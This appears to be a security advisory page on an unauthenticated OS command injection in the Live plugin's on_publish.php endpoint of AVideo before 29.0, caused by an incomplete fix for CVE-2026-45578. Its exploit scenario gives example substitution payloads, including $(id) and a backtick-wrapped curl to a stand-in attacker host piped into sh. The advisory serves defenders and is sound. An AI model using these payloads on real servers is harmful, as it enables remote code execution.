Remote unauthenticated request to on_publish.php yields shell command execution with no interaction, giving full C/I/A impact; scope unchanged as commands run within the host service context.

AVideo before 29.0 contains an incomplete fix for CVE-2026-45578 where execAsync() re-wraps escaped commands in double-quoted sh -c, allowing command substitution via $() and backticks. Attackers can inject arbitrary OS commands through the Live plugin on_publish.php endpoint despite escapeshellarg() protection.

AnalysisAI
OS command injection in AVideo before version 29.0 allows remote attackers to execute arbitrary commands via the Live plugin's on_publish.php endpoint. The flaw is an incomplete fix for CVE-2026-45578: the execAsync() helper re-wraps already-escaped input inside a double-quoted 'sh -c' invocation, which lets shell command substitution using $() or backticks bypass the escapeshellarg() sanitization entirely. …

Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires that the AVideo Live plugin is enabled and its on_publish.php endpoint is network-reachable by the attacker, and that the instance runs a version before 29.0 (including instances patched only for CVE-2026-45578). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The signals are largely aligned toward high real-world risk: the CVSS 4.0 vector is AV:N/AC:L/AT:N/PR:N/UI:N with high confidentiality, integrity, and availability impact on the vulnerable system (base 9.3), meaning remote, low-complexity, unauthenticated exploitation with no user interaction. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker locates an internet-exposed AVideo instance with the Live plugin enabled and sends a crafted request to on_publish.php containing a stream name or parameter embedding a shell command substitution such as $(id) or `curl attacker/x|sh`. Because execAsync() runs the value through a double-quoted sh -c, the shell evaluates the substitution and runs the attacker's command on the server with the web service's privileges. … |
| Remediation | Upgrade to AVideo 29.0 or later, which contains the complete fix; the version-based advisory ('before 29.0') indicates 29.0 is the first fixed release, though the exact patched build should be confirmed against GHSA-rc5x-vh5v-473f (https://github.com/WWBN/AVideo/security/advisories/GHSA-rc5x-vh5v-473f) and the VulnCheck advisory (https://www.vulncheck.com/advisories/avideo-before-os-command-injection-via-execasync). … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours, inventory all AVideo deployments and isolate any exposed instances from untrusted networks; block external access to the Live plugin's on_publish.php endpoint at network perimeter or firewall. …
